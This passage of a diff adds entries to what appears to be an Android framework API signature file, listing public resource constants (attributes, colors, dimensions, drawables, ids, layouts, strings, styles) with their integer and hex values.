+    field public static final int windowLayoutInDisplayCutoutMode = 16844166; // 0x1010586
+    field public static final int windowLightNavigationBar = 16844140; // 0x101056c
+    field public static final int windowLightStatusBar = 16844000; // 0x10104e0
+    field public static final int windowMinWidthMajor = 16843606; // 0x1010356
+    field public static final int windowMinWidthMinor = 16843607; // 0x1010357
+    field public static final int windowNoDisplay = 16843294; // 0x101021e
+    field public static final int windowNoTitle = 16842838; // 0x1010056
+    field @Deprecated public static final int windowOverscan = 16843727; // 0x10103cf
+    field public static final int windowReenterTransition = 16843951; // 0x10104af
+    field public static final int windowReturnTransition = 16843950; // 0x10104ae
+    field public static final int windowSharedElementEnterTransition = 16843833; // 0x1010439
+    field public static final int windowSharedElementExitTransition = 16843834; // 0x101043a
+    field public static final int windowSharedElementReenterTransition = 16843953; // 0x10104b1
+    field public static final int windowSharedElementReturnTransition = 16843952; // 0x10104b0
+    field public static final int windowSharedElementsUseOverlay = 16843963; // 0x10104bb
+    field public static final int windowShowAnimation = 16842934; // 0x10100b6
+    field public static final int windowShowWallpaper = 16843410; // 0x1010292
+    field public static final int windowSoftInputMode = 16843307; // 0x101022b
+    field public static final int windowSplashScreenAnimatedIcon = 16844333; // 0x101062d
+    field public static final int windowSplashScreenAnimationDuration = 16844334; // 0x101062e
+    field public static final int windowSplashScreenBackground = 16844332; // 0x101062c
+    field public static final int windowSplashScreenBrandingImage = 16844335; // 0x101062f
+    field public static final int windowSplashScreenIconBackgroundColor = 16844336; // 0x1010630
+    field @Deprecated public static final int windowSplashscreenContent = 16844132; // 0x1010564
+    field @Deprecated public static final int windowSwipeToDismiss = 16843763; // 0x10103f3
+    field public static final int windowTitleBackgroundStyle = 16842844; // 0x101005c
+    field public static final int windowTitleSize = 16842842; // 0x101005a
+    field public static final int windowTitleStyle = 16842843; // 0x101005b
+    field public static final int windowTransitionBackgroundFadeDuration = 16843873; // 0x1010461
+    field public static final int windowTranslucentNavigation = 16843760; // 0x10103f0
+    field public static final int windowTranslucentStatus = 16843759; // 0x10103ef
+    field public static final int writePermission = 16842760; // 0x1010008
+    field public static final int x = 16842924; // 0x10100ac
+    field public static final int xlargeScreens = 16843455; // 0x10102bf
+    field public static final int y = 16842925; // 0x10100ad
+    field @Deprecated public static final int yearListItemTextAppearance = 16843929; // 0x1010499
+    field @Deprecated public static final int yearListSelectorColor = 16843930; // 0x101049a
+    field public static final int yesNoPreferenceStyle = 16842896; // 0x1010090
+    field public static final int zAdjustment = 16843201; // 0x10101c1
+    field public static final int zygotePreloadName = 16844189; // 0x101059d
+  }
+
+  public static final class R.bool {
+    ctor public R.bool();
+  }
+
+  public static final class R.color {
+    ctor public R.color();
+    field public static final int background_dark = 17170446; // 0x106000e
+    field public static final int background_light = 17170447; // 0x106000f
+    field public static final int black = 17170444; // 0x106000c
+    field public static final int darker_gray = 17170432; // 0x1060000
+    field public static final int holo_blue_bright = 17170459; // 0x106001b
+    field public static final int holo_blue_dark = 17170451; // 0x1060013
+    field public static final int holo_blue_light = 17170450; // 0x1060012
+    field public static final int holo_green_dark = 17170453; // 0x1060015
+    field public static final int holo_green_light = 17170452; // 0x1060014
+    field public static final int holo_orange_dark = 17170457; // 0x1060019
+    field public static final int holo_orange_light = 17170456; // 0x1060018
+    field public static final int holo_purple = 17170458; // 0x106001a
+    field public static final int holo_red_dark = 17170455; // 0x1060017
+    field public static final int holo_red_light = 17170454; // 0x1060016
+    field @Deprecated public static final int primary_text_dark = 17170433; // 0x1060001
+    field @Deprecated public static final int primary_text_dark_nodisable = 17170434; // 0x1060002
+    field @Deprecated public static final int primary_text_light = 17170435; // 0x1060003
+    field @Deprecated public static final int primary_text_light_nodisable = 17170436; // 0x1060004
+    field @Deprecated public static final int secondary_text_dark = 17170437; // 0x1060005
+    field @Deprecated public static final int secondary_text_dark_nodisable = 17170438; // 0x1060006
+    field @Deprecated public static final int secondary_text_light = 17170439; // 0x1060007
+    field @Deprecated public static final int secondary_text_light_nodisable = 17170440; // 0x1060008
+    field public static final int system_accent1_0 = 17170487; // 0x1060037
+    field public static final int system_accent1_10 = 17170488; // 0x1060038
+    field public static final int system_accent1_100 = 17170490; // 0x106003a
+    field public static final int system_accent1_1000 = 17170499; // 0x1060043
+    field public static final int system_accent1_200 = 17170491; // 0x106003b
+    field public static final int system_accent1_300 = 17170492; // 0x106003c
+    field public static final int system_accent1_400 = 17170493; // 0x106003d
+    field public static final int system_accent1_50 = 17170489; // 0x1060039
+    field public static final int system_accent1_500 = 17170494; // 0x106003e
+    field public static final int system_accent1_600 = 17170495; // 0x106003f
+    field public static final int system_accent1_700 = 17170496; // 0x1060040
+    field public static final int system_accent1_800 = 17170497; // 0x1060041
+    field public static final int system_accent1_900 = 17170498; // 0x1060042
+    field public static final int system_accent2_0 = 17170500; // 0x1060044
+    field public static final int system_accent2_10 = 17170501; // 0x1060045
+    field public static final int system_accent2_100 = 17170503; // 0x1060047
+    field public static final int system_accent2_1000 = 17170512; // 0x1060050
+    field public static final int system_accent2_200 = 17170504; // 0x1060048
+    field public static final int system_accent2_300 = 17170505; // 0x1060049
+    field public static final int system_accent2_400 = 17170506; // 0x106004a
+    field public static final int system_accent2_50 = 17170502; // 0x1060046
+    field public static final int system_accent2_500 = 17170507; // 0x106004b
+    field public static final int system_accent2_600 = 17170508; // 0x106004c
+    field public static final int system_accent2_700 = 17170509; // 0x106004d
+    field public static final int system_accent2_800 = 17170510; // 0x106004e
+    field public static final int system_accent2_900 = 17170511; // 0x106004f
+    field public static final int system_accent3_0 = 17170513; // 0x1060051
+    field public static final int system_accent3_10 = 17170514; // 0x1060052
+    field public static final int system_accent3_100 = 17170516; // 0x1060054
+    field public static final int system_accent3_1000 = 17170525; // 0x106005d
+    field public static final int system_accent3_200 = 17170517; // 0x1060055
+    field public static final int system_accent3_300 = 17170518; // 0x1060056
+    field public static final int system_accent3_400 = 17170519; // 0x1060057
+    field public static final int system_accent3_50 = 17170515; // 0x1060053
+    field public static final int system_accent3_500 = 17170520; // 0x1060058
+    field public static final int system_accent3_600 = 17170521; // 0x1060059
+    field public static final int system_accent3_700 = 17170522; // 0x106005a
+    field public static final int system_accent3_800 = 17170523; // 0x106005b
+    field public static final int system_accent3_900 = 17170524; // 0x106005c
+    field public static final int system_neutral1_0 = 17170461; // 0x106001d
+    field public static final int system_neutral1_10 = 17170462; // 0x106001e
+    field public static final int system_neutral1_100 = 17170464; // 0x1060020
+    field public static final int system_neutral1_1000 = 17170473; // 0x1060029
+    field public static final int system_neutral1_200 = 17170465; // 0x1060021
+    field public static final int system_neutral1_300 = 17170466; // 0x1060022
+    field public static final int system_neutral1_400 = 17170467; // 0x1060023
+    field public static final int system_neutral1_50 = 17170463; // 0x106001f
+    field public static final int system_neutral1_500 = 17170468; // 0x1060024
+    field public static final int system_neutral1_600 = 17170469; // 0x1060025
+    field public static final int system_neutral1_700 = 17170470; // 0x1060026
+    field public static final int system_neutral1_800 = 17170471; // 0x1060027
+    field public static final int system_neutral1_900 = 17170472; // 0x1060028
+    field public static final int system_neutral2_0 = 17170474; // 0x106002a
+    field public static final int system_neutral2_10 = 17170475; // 0x106002b
+    field public static final int system_neutral2_100 = 17170477; // 0x106002d
+    field public static final int system_neutral2_1000 = 17170486; // 0x1060036
+    field public static final int system_neutral2_200 = 17170478; // 0x106002e
+    field public static final int system_neutral2_300 = 17170479; // 0x106002f
+    field public static final int system_neutral2_400 = 17170480; // 0x1060030
+    field public static final int system_neutral2_50 = 17170476; // 0x106002c
+    field public static final int system_neutral2_500 = 17170481; // 0x1060031
+    field public static final int system_neutral2_600 = 17170482; // 0x1060032
+    field public static final int system_neutral2_700 = 17170483; // 0x1060033
+    field public static final int system_neutral2_800 = 17170484; // 0x1060034
+    field public static final int system_neutral2_900 = 17170485; // 0x1060035
+    field public static final int tab_indicator_text = 17170441; // 0x1060009
+    field @Deprecated public static final int tertiary_text_dark = 17170448; // 0x1060010
+    field @Deprecated public static final int tertiary_text_light = 17170449; // 0x1060011
+    field public static final int transparent = 17170445; // 0x106000d
+    field public static final int white = 17170443; // 0x106000b
+    field public static final int widget_edittext_dark = 17170442; // 0x106000a
+  }
+
+  public static final class R.dimen {
+    ctor public R.dimen();
+    field public static final int app_icon_size = 17104896; // 0x1050000
+    field public static final int dialog_min_width_major = 17104899; // 0x1050003
+    field public static final int dialog_min_width_minor = 17104900; // 0x1050004
+    field public static final int notification_large_icon_height = 17104902; // 0x1050006
+    field public static final int notification_large_icon_width = 17104901; // 0x1050005
+    field public static final int system_app_widget_background_radius = 17104904; // 0x1050008
+    field public static final int system_app_widget_inner_radius = 17104905; // 0x1050009
+    field public static final int thumbnail_height = 17104897; // 0x1050001
+    field public static final int thumbnail_width = 17104898; // 0x1050002
+  }
+
+  public static final class R.drawable {
+    ctor public R.drawable();
+    field public static final int alert_dark_frame = 17301504; // 0x1080000
+    field public static final int alert_light_frame = 17301505; // 0x1080001
+    field public static final int arrow_down_float = 17301506; // 0x1080002
+    field public static final int arrow_up_float = 17301507; // 0x1080003
+    field public static final int bottom_bar = 17301658; // 0x108009a
+    field public static final int btn_default = 17301508; // 0x1080004
+    field public static final int btn_default_small = 17301509; // 0x1080005
+    field public static final int btn_dialog = 17301527; // 0x1080017
+    field public static final int btn_dropdown = 17301510; // 0x1080006
+    field public static final int btn_minus = 17301511; // 0x1080007
+    field public static final int btn_plus = 17301512; // 0x1080008
+    field public static final int btn_radio = 17301513; // 0x1080009
+    field public static final int btn_star = 17301514; // 0x108000a
+    field public static final int btn_star_big_off = 17301515; // 0x108000b
+    field public static final int btn_star_big_on = 17301516; // 0x108000c
+    field public static final int button_onoff_indicator_off = 17301518; // 0x108000e
+    field public static final int button_onoff_indicator_on = 17301517; // 0x108000d
+    field public static final int checkbox_off_background = 17301519; // 0x108000f
+    field public static final int checkbox_on_background = 17301520; // 0x1080010
+    field public static final int dark_header = 17301669; // 0x10800a5
+    field public static final int dialog_frame = 17301521; // 0x1080011
+    field public static final int dialog_holo_dark_frame = 17301682; // 0x10800b2
+    field public static final int dialog_holo_light_frame = 17301683; // 0x10800b3
+    field public static final int divider_horizontal_bright = 17301522; // 0x1080012
+    field public static final int divider_horizontal_dark = 17301524; // 0x1080014
+    field public static final int divider_horizontal_dim_dark = 17301525; // 0x1080015
+    field public static final int divider_horizontal_textfield = 17301523; // 0x1080013
+    field public static final int edit_text = 17301526; // 0x1080016
+    field public static final int editbox_background = 17301528; // 0x1080018
+    field public static final int editbox_background_normal = 17301529; // 0x1080019
+    field public static final int editbox_dropdown_dark_frame = 17301530; // 0x108001a
+    field public static final int editbox_dropdown_light_frame = 17301531; // 0x108001b
+    field public static final int gallery_thumb = 17301532; // 0x108001c
+    field public static final int ic_btn_speak_now = 17301668; // 0x10800a4
+    field public static final int ic_delete = 17301533; // 0x108001d
+    field public static final int ic_dialog_alert = 17301543; // 0x1080027
+    field public static final int ic_dialog_dialer = 17301544; // 0x1080028
+    field public static final int ic_dialog_email = 17301545; // 0x1080029
+    field public static final int ic_dialog_info = 17301659; // 0x108009b
+    field public static final int ic_dialog_map = 17301546; // 0x108002a
+    field public static final int ic_input_add = 17301547; // 0x108002b
+    field public static final int ic_input_delete = 17301548; // 0x108002c
+    field public static final int ic_input_get = 17301549; // 0x108002d
+    field public static final int ic_lock_idle_alarm = 17301550; // 0x108002e
+    field public static final int ic_lock_idle_charging = 17301534; // 0x108001e
+    field public static final int ic_lock_idle_lock = 17301535; // 0x108001f
+    field public static final int ic_lock_idle_low_battery = 17301536; // 0x1080020
+    field public static final int ic_lock_lock = 17301551; // 0x108002f
+    field public static final int ic_lock_power_off = 17301552; // 0x1080030
+    field public static final int ic_lock_silent_mode = 17301553; // 0x1080031
+    field public static final int ic_lock_silent_mode_off = 17301554; // 0x1080032
+    field public static final int ic_media_ff = 17301537; // 0x1080021
+    field public static final int ic_media_next = 17301538; // 0x1080022
+    field public static final int ic_media_pause = 17301539; // 0x1080023
+    field public static final int ic_media_play = 17301540; // 0x1080024
+    field public static final int ic_media_previous = 17301541; // 0x1080025
+    field public static final int ic_media_rew = 17301542; // 0x1080026
+    field public static final int ic_menu_add = 17301555; // 0x1080033
+    field public static final int ic_menu_agenda = 17301556; // 0x1080034
+    field public static final int ic_menu_always_landscape_portrait = 17301557; // 0x1080035
+    field public static final int ic_menu_call = 17301558; // 0x1080036
+    field public static final int ic_menu_camera = 17301559; // 0x1080037
+    field public static final int ic_menu_close_clear_cancel = 17301560; // 0x1080038
+    field public static final int ic_menu_compass = 17301561; // 0x1080039
+    field public static final int ic_menu_crop = 17301562; // 0x108003a
+    field public static final int ic_menu_day = 17301563; // 0x108003b
+    field public static final int ic_menu_delete = 17301564; // 0x108003c
+    field public static final int ic_menu_directions = 17301565; // 0x108003d
+    field public static final int ic_menu_edit = 17301566; // 0x108003e
+    field public static final int ic_menu_gallery = 17301567; // 0x108003f
+    field public static final int ic_menu_help = 17301568; // 0x1080040
+    field public static final int ic_menu_info_details = 17301569; // 0x1080041
+    field public static final int ic_menu_manage = 17301570; // 0x1080042
+    field public static final int ic_menu_mapmode = 17301571; // 0x1080043
+    field public static final int ic_menu_month = 17301572; // 0x1080044
+    field public static final int ic_menu_more = 17301573; // 0x1080045
+    field public static final int ic_menu_my_calendar = 17301574; // 0x1080046
+    field public static final int ic_menu_mylocation = 17301575; // 0x1080047
+    field public static final int ic_menu_myplaces = 17301576; // 0x1080048
+    field public static final int ic_menu_preferences = 17301577; // 0x1080049
+    field public static final int ic_menu_recent_history = 17301578; // 0x108004a
+    field public static final int ic_menu_report_image = 17301579; // 0x108004b
+    field public static final int ic_menu_revert = 17301580; // 0x108004c
+    field public static final int ic_menu_rotate = 17301581; // 0x108004d
+    field public static final int ic_menu_save = 17301582; // 0x108004e
+    field public static final int ic_menu_search = 17301583; // 0x108004f
+    field public static final int ic_menu_send = 17301584; // 0x1080050
+    field public static final int ic_menu_set_as = 17301585; // 0x1080051
+    field public static final int ic_menu_share = 17301586; // 0x1080052
+    field public static final int ic_menu_slideshow = 17301587; // 0x1080053
+    field public static final int ic_menu_sort_alphabetically = 17301660; // 0x108009c
+    field public static final int ic_menu_sort_by_size = 17301661; // 0x108009d
+    field public static final int ic_menu_today = 17301588; // 0x1080054
+    field public static final int ic_menu_upload = 17301589; // 0x1080055
+    field public static final int ic_menu_upload_you_tube = 17301590; // 0x1080056
+    field public static final int ic_menu_view = 17301591; // 0x1080057
+    field public static final int ic_menu_week = 17301592; // 0x1080058
+    field public static final int ic_menu_zoom = 17301593; // 0x1080059
+    field public static final int ic_notification_clear_all = 17301594; // 0x108005a
+    field public static final int ic_notification_overlay = 17301595; // 0x108005b
+    field public static final int ic_partial_secure = 17301596; // 0x108005c
+    field public static final int ic_popup_disk_full = 17301597; // 0x108005d
+    field public static final int ic_popup_reminder = 17301598; // 0x108005e
+    field public static final int ic_popup_sync = 17301599; // 0x108005f
+    field public static final int ic_search_category_default = 17301600; // 0x1080060
+    field public static final int ic_secure = 17301601; // 0x1080061
+    field public static final int list_selector_background = 17301602; // 0x1080062
+    field public static final int menu_frame = 17301603; // 0x1080063
+    field public static final int menu_full_frame = 17301604; // 0x1080064
+    field public static final int menuitem_background = 17301605; // 0x1080065
+    field public static final int picture_frame = 17301606; // 0x1080066
+    field public static final int presence_audio_away = 17301679; // 0x10800af
+    field public static final int presence_audio_busy = 17301680; // 0x10800b0
+    field public static final int presence_audio_online = 17301681; // 0x10800b1
+    field public static final int presence_away = 17301607; // 0x1080067
+    field public static final int presence_busy = 17301608; // 0x1080068
+    field public static final int presence_invisible = 17301609; // 0x1080069
+    field public static final int presence_offline = 17301610; // 0x108006a
+    field public static final int presence_online = 17301611; // 0x108006b
+    field public static final int presence_video_away = 17301676; // 0x10800ac
+    field public static final int presence_video_busy = 17301677; // 0x10800ad
+    field public static final int presence_video_online = 17301678; // 0x10800ae
+    field public static final int progress_horizontal = 17301612; // 0x108006c
+    field public static final int progress_indeterminate_horizontal = 17301613; // 0x108006d
+    field public static final int radiobutton_off_background = 17301614; // 0x108006e
+    field public static final int radiobutton_on_background = 17301615; // 0x108006f
+    field public static final int screen_background_dark = 17301656; // 0x1080098
+    field public static final int screen_background_dark_transparent = 17301673; // 0x10800a9
+    field public static final int screen_background_light = 17301657; // 0x1080099
+    field public static final int screen_background_light_transparent = 17301674; // 0x10800aa
+    field public static final int spinner_background = 17301616; // 0x1080070
+    field public static final int spinner_dropdown_background = 17301617; // 0x1080071
+    field public static final int star_big_off = 17301619; // 0x1080073
+    field public static final int star_big_on = 17301618; // 0x1080072
+    field public static final int star_off = 17301621; // 0x1080075
+    field public static final int star_on = 17301620; // 0x1080074
+    field public static final int stat_notify_call_mute = 17301622; // 0x1080076
+    field public static final int stat_notify_chat = 17301623; // 0x1080077
+    field public static final int stat_notify_error = 17301624; // 0x1080078
+    field public static final int stat_notify_missed_call = 17301631; // 0x108007f
+    field public static final int stat_notify_more = 17301625; // 0x1080079
+    field public static final int stat_notify_sdcard = 17301626; // 0x108007a
+    field public static final int stat_notify_sdcard_prepare = 17301675; // 0x10800ab
+    field public static final int stat_notify_sdcard_usb = 17301627; // 0x108007b
+    field public static final int stat_notify_sync = 17301628; // 0x108007c
+    field public static final int stat_notify_sync_noanim = 17301629; // 0x108007d
+    field public static final int stat_notify_voicemail = 17301630; // 0x108007e
+    field public static final int stat_sys_data_bluetooth = 17301632; // 0x1080080
+    field public static final int stat_sys_download = 17301633; // 0x1080081
+    field public static final int stat_sys_download_done = 17301634; // 0x1080082
+    field public static final int stat_sys_headset = 17301635; // 0x1080083
+    field @Deprecated public static final int stat_sys_phone_call = 17301636; // 0x1080084
+    field @Deprecated public static final int stat_sys_phone_call_forward = 17301637; // 0x1080085
+    field @Deprecated public static final int stat_sys_phone_call_on_hold = 17301638; // 0x1080086
+    field public static final int stat_sys_speakerphone = 17301639; // 0x1080087
+    field public static final int stat_sys_upload = 17301640; // 0x1080088
+    field public static final int stat_sys_upload_done = 17301641; // 0x1080089
+    field @Deprecated public static final int stat_sys_vp_phone_call = 17301671; // 0x10800a7
+    field @Deprecated public static final int stat_sys_vp_phone_call_on_hold = 17301672; // 0x10800a8
+    field public static final int stat_sys_warning = 17301642; // 0x108008a
+    field public static final int status_bar_item_app_background = 17301643; // 0x108008b
+    field public static final int status_bar_item_background = 17301644; // 0x108008c
+    field public static final int sym_action_call = 17301645; // 0x108008d
+    field public static final int sym_action_chat = 17301646; // 0x108008e
+    field public static final int sym_action_email = 17301647; // 0x108008f
+    field public static final int sym_call_incoming = 17301648; // 0x1080090
+    field public static final int sym_call_missed = 17301649; // 0x1080091
+    field public static final int sym_call_outgoing = 17301650; // 0x1080092
+    field public static final int sym_contact_card = 17301652; // 0x1080094
+    field public static final int sym_def_app_icon = 17301651; // 0x1080093
+    field public static final int title_bar = 17301653; // 0x1080095
+    field public static final int title_bar_tall = 17301670; // 0x10800a6
+    field public static final int toast_frame = 17301654; // 0x1080096
+    field public static final int zoom_plate = 17301655; // 0x1080097
+  }
+
+  public static final class R.fraction {
+    ctor public R.fraction();
+  }
+
+  public static final class R.id {
+    ctor public R.id();
+    field public static final int accessibilityActionContextClick = 16908348; // 0x102003c
+    field public static final int accessibilityActionHideTooltip = 16908357; // 0x1020045
+    field public static final int accessibilityActionImeEnter = 16908372; // 0x1020054
+    field public static final int accessibilityActionMoveWindow = 16908354; // 0x1020042
+    field public static final int accessibilityActionPageDown = 16908359; // 0x1020047
+    field public static final int accessibilityActionPageLeft = 16908360; // 0x1020048
+    field public static final int accessibilityActionPageRight = 16908361; // 0x1020049
+    field public static final int accessibilityActionPageUp = 16908358; // 0x1020046
+    field public static final int accessibilityActionPressAndHold = 16908362; // 0x102004a
+    field public static final int accessibilityActionScrollDown = 16908346; // 0x102003a
+    field public static final int accessibilityActionScrollLeft = 16908345; // 0x1020039
+    field public static final int accessibilityActionScrollRight = 16908347; // 0x102003b
+    field public static final int accessibilityActionScrollToPosition = 16908343; // 0x1020037
+    field public static final int accessibilityActionScrollUp = 16908344; // 0x1020038
+    field public static final int accessibilityActionSetProgress = 16908349; // 0x102003d
+    field public static final int accessibilityActionShowOnScreen = 16908342; // 0x1020036
+    field public static final int accessibilityActionShowTooltip = 16908356; // 0x1020044
+    field public static final int accessibilitySystemActionBack = 16908363; // 0x102004b
+    field public static final int accessibilitySystemActionHome = 16908364; // 0x102004c
+    field public static final int accessibilitySystemActionLockScreen = 16908370; // 0x1020052
+    field public static final int accessibilitySystemActionNotifications = 16908366; // 0x102004e
+    field public static final int accessibilitySystemActionPowerDialog = 16908368; // 0x1020050
+    field public static final int accessibilitySystemActionQuickSettings = 16908367; // 0x102004f
+    field public static final int accessibilitySystemActionRecents = 16908365; // 0x102004d
+    field public static final int accessibilitySystemActionTakeScreenshot = 16908371; // 0x1020053
+    field public static final int accessibilitySystemActionToggleSplitScreen = 16908369; // 0x1020051
+    field public static final int addToDictionary = 16908330; // 0x102002a
+    field public static final int autofill = 16908355; // 0x1020043
+    field public static final int background = 16908288; // 0x1020000
+    field public static final int button1 = 16908313; // 0x1020019
+    field public static final int button2 = 16908314; // 0x102001a
+    field public static final int button3 = 16908315; // 0x102001b
+    field public static final int candidatesArea = 16908317; // 0x102001d
+    field public static final int checkbox = 16908289; // 0x1020001
+    field public static final int closeButton = 16908327; // 0x1020027
+    field public static final int content = 16908290; // 0x1020002
+    field public static final int copy = 16908321; // 0x1020021
+    field public static final int copyUrl = 16908323; // 0x1020023
+    field public static final int custom = 16908331; // 0x102002b
+    field public static final int cut = 16908320; // 0x1020020
+    field public static final int edit = 16908291; // 0x1020003
+    field public static final int empty = 16908292; // 0x1020004
+    field public static final int extractArea = 16908316; // 0x102001c
+    field public static final int hint = 16908293; // 0x1020005
+    field public static final int home = 16908332; // 0x102002c
+    field public static final int icon = 16908294; // 0x1020006
+    field public static final int icon1 = 16908295; // 0x1020007
+    field public static final int icon2 = 16908296; // 0x1020008
+    field public static final int icon_frame = 16908350; // 0x102003e
+    field public static final int input = 16908297; // 0x1020009
+    field public static final int inputArea = 16908318; // 0x102001e
+    field public static final int inputExtractEditText = 16908325; // 0x1020025
+    field @Deprecated public static final int keyboardView = 16908326; // 0x1020026
+    field public static final int list = 16908298; // 0x102000a
+    field public static final int list_container = 16908351; // 0x102003f
+    field public static final int mask = 16908334; // 0x102002e
+    field public static final int message = 16908299; // 0x102000b
+    field public static final int navigationBarBackground = 16908336; // 0x1020030
+    field public static final int paste = 16908322; // 0x1020022
+    field public static final int pasteAsPlainText = 16908337; // 0x1020031
+    field public static final int primary = 16908300; // 0x102000c
+    field public static final int progress = 16908301; // 0x102000d
+    field public static final int redo = 16908339; // 0x1020033
+    field public static final int replaceText = 16908340; // 0x1020034
+    field public static final int secondaryProgress = 16908303; // 0x102000f
+    field public static final int selectAll = 16908319; // 0x102001f
+    field public static final int selectTextMode = 16908333; // 0x102002d
+    field public static final int selectedIcon = 16908302; // 0x102000e
+    field public static final int shareText = 16908341; // 0x1020035
+    field public static final int startSelectingText = 16908328; // 0x1020028
+    field public static final int statusBarBackground = 16908335; // 0x102002f
+    field public static final int stopSelectingText = 16908329; // 0x1020029
+    field public static final int summary = 16908304; // 0x1020010
+    field public static final int switchInputMethod = 16908324; // 0x1020024
+    field public static final int switch_widget = 16908352; // 0x1020040
+    field public static final int tabcontent = 16908305; // 0x1020011
+    field public static final int tabhost = 16908306; // 0x1020012
+    field public static final int tabs = 16908307; // 0x1020013
+    field public static final int text1 = 16908308; // 0x1020014
+    field public static final int text2 = 16908309; // 0x1020015
+    field public static final int textAssist = 16908353; // 0x1020041
+    field public static final int title = 16908310; // 0x1020016
+    field public static final int toggle = 16908311; // 0x1020017
+    field public static final int undo = 16908338; // 0x1020032
+    field public static final int widget_frame = 16908312; // 0x1020018
+  }
+
+  public static final class R.integer {
+    ctor public R.integer();
+    field public static final int config_longAnimTime = 17694722; // 0x10e0002
+    field public static final int config_mediumAnimTime = 17694721; // 0x10e0001
+    field public static final int config_shortAnimTime = 17694720; // 0x10e0000
+    field public static final int status_bar_notification_info_maxnum = 17694723; // 0x10e0003
+  }
+
+  public static final class R.interpolator {
+    ctor public R.interpolator();
+    field public static final int accelerate_cubic = 17563650; // 0x10c0002
+    field public static final int accelerate_decelerate = 17563654; // 0x10c0006
+    field public static final int accelerate_quad = 17563648; // 0x10c0000
+    field public static final int accelerate_quint = 17563652; // 0x10c0004
+    field public static final int anticipate = 17563655; // 0x10c0007
+    field public static final int anticipate_overshoot = 17563657; // 0x10c0009
+    field public static final int bounce = 17563658; // 0x10c000a
+    field public static final int cycle = 17563660; // 0x10c000c
+    field public static final int decelerate_cubic = 17563651; // 0x10c0003
+    field public static final int decelerate_quad = 17563649; // 0x10c0001
+    field public static final int decelerate_quint = 17563653; // 0x10c0005
+    field public static final int fast_out_extra_slow_in = 17563674; // 0x10c001a
+    field public static final int fast_out_linear_in = 17563663; // 0x10c000f
+    field public static final int fast_out_slow_in = 17563661; // 0x10c000d
+    field public static final int linear = 17563659; // 0x10c000b
+    field public static final int linear_out_slow_in = 17563662; // 0x10c000e
+    field public static final int overshoot = 17563656; // 0x10c0008
+  }
+
+  public static final class R.layout {
+    ctor public R.layout();
+    field public static final int activity_list_item = 17367040; // 0x1090000
+    field public static final int browser_link_context_header = 17367054; // 0x109000e
+    field public static final int expandable_list_content = 17367041; // 0x1090001
+    field public static final int list_content = 17367060; // 0x1090014
+    field public static final int preference_category = 17367042; // 0x1090002
+    field public static final int select_dialog_item = 17367057; // 0x1090011
+    field public static final int select_dialog_multichoice = 17367059; // 0x1090013
+    field public static final int select_dialog_singlechoice = 17367058; // 0x1090012
+    field public static final int simple_dropdown_item_1line = 17367050; // 0x109000a
+    field public static final int simple_expandable_list_item_1 = 17367046; // 0x1090006
+    field public static final int simple_expandable_list_item_2 = 17367047; // 0x1090007
+    field public static final int simple_gallery_item = 17367051; // 0x109000b
+    field public static final int simple_list_item_1 = 17367043; // 0x1090003
+    field public static final int simple_list_item_2 = 17367044; // 0x1090004
+    field public static final int simple_list_item_activated_1 = 17367062; // 0x1090016
+    field public static final int simple_list_item_activated_2 = 17367063; // 0x1090017
+    field public static final int simple_list_item_checked = 17367045; // 0x1090005
+    field public static final int simple_list_item_multiple_choice = 17367056; // 0x1090010
+    field public static final int simple_list_item_single_choice = 17367055; // 0x109000f
+    field public static final int simple_selectable_list_item = 17367061; // 0x1090015
+    field public static final int simple_spinner_dropdown_item = 17367049; // 0x1090009
+    field public static final int simple_spinner_item = 17367048; // 0x1090008
+    field public static final int test_list_item = 17367052; // 0x109000c
+    field public static final int two_line_list_item = 17367053; // 0x109000d
+  }
+
+  public static final class R.menu {
+    ctor public R.menu();
+  }
+
+  public static final class R.mipmap {
+    ctor public R.mipmap();
+    field public static final int sym_def_app_icon = 17629184; // 0x10d0000
+  }
+
+  public static final class R.plurals {
+    ctor public R.plurals();
+  }
+
+  public static final class R.raw {
+    ctor public R.raw();
+  }
+
+  public static final class R.string {
+    ctor public R.string();
+    field public static final int VideoView_error_button = 17039376; // 0x1040010
+    field public static final int VideoView_error_text_invalid_progressive_playback = 17039381; // 0x1040015
+    field public static final int VideoView_error_text_unknown = 17039377; // 0x1040011
+    field public static final int VideoView_error_title = 17039378; // 0x1040012
+    field public static final int autofill = 17039386; // 0x104001a
+    field public static final int cancel = 17039360; // 0x1040000
+    field public static final int copy = 17039361; // 0x1040001
+    field public static final int copyUrl = 17039362; // 0x1040002
+    field public static final int cut = 17039363; // 0x1040003
+    field public static final int defaultMsisdnAlphaTag = 17039365; // 0x1040005
+    field public static final int defaultVoiceMailAlphaTag = 17039364; // 0x1040004
+    field public static final int dialog_alert_title = 17039380; // 0x1040014
+    field public static final int emptyPhoneNumber = 17039366; // 0x1040006
+    field public static final int fingerprint_icon_content_description = 17039384; // 0x1040018
+    field public static final int httpErrorBadUrl = 17039367; // 0x1040007
+    field public static final int httpErrorUnsupportedScheme = 17039368; // 0x1040008
+    field @Deprecated public static final int no = 17039369; // 0x1040009
+    field public static final int ok = 17039370; // 0x104000a
+    field public static final int paste = 17039371; // 0x104000b
+    field public static final int paste_as_plain_text = 17039385; // 0x1040019
+    field public static final int search_go = 17039372; // 0x104000c
+    field public static final int selectAll = 17039373; // 0x104000d
+    field public static final int selectTextMode = 17039382; // 0x1040016
+    field public static final int status_bar_notification_info_overflow = 17039383; // 0x1040017
+    field public static final int unknownName = 17039374; // 0x104000e
+    field public static final int untitled = 17039375; // 0x104000f
+    field @Deprecated public static final int yes = 17039379; // 0x1040013
+  }
+
+  public static final class R.style {
+    ctor public R.style();
+    field public static final int Animation = 16973824; // 0x1030000
+    field public static final int Animation_Activity = 16973825; // 0x1030001
+    field public static final int Animation_Dialog = 16973826; // 0x1030002
+    field public static final int Animation_InputMethod = 16973910; // 0x1030056
+    field public static final int Animation_Toast = 16973828; // 0x1030004
+    field public static final int Animation_Translucent = 16973827; // 0x1030003
+    field public static final int DeviceDefault_ButtonBar = 16974287; // 0x10301cf
+    field public static final int DeviceDefault_ButtonBar_AlertDialog = 16974288; // 0x10301d0
+    field public static final int DeviceDefault_Light_ButtonBar = 16974290; // 0x10301d2
+    field public static final int DeviceDefault_Light_ButtonBar_AlertDialog = 16974291; // 0x10301d3
+    field public static final int DeviceDefault_Light_SegmentedButton = 16974292; // 0x10301d4
+    field public static final int DeviceDefault_SegmentedButton = 16974289; // 0x10301d1
+    field public static final int Holo_ButtonBar = 16974053; // 0x10300e5
+    field public static final int Holo_ButtonBar_AlertDialog = 16974055; // 0x10300e7
+    field public static final int Holo_Light_ButtonBar = 16974054; // 0x10300e6
+    field public static final int Holo_Light_ButtonBar_AlertDialog = 16974056; // 0x10300e8
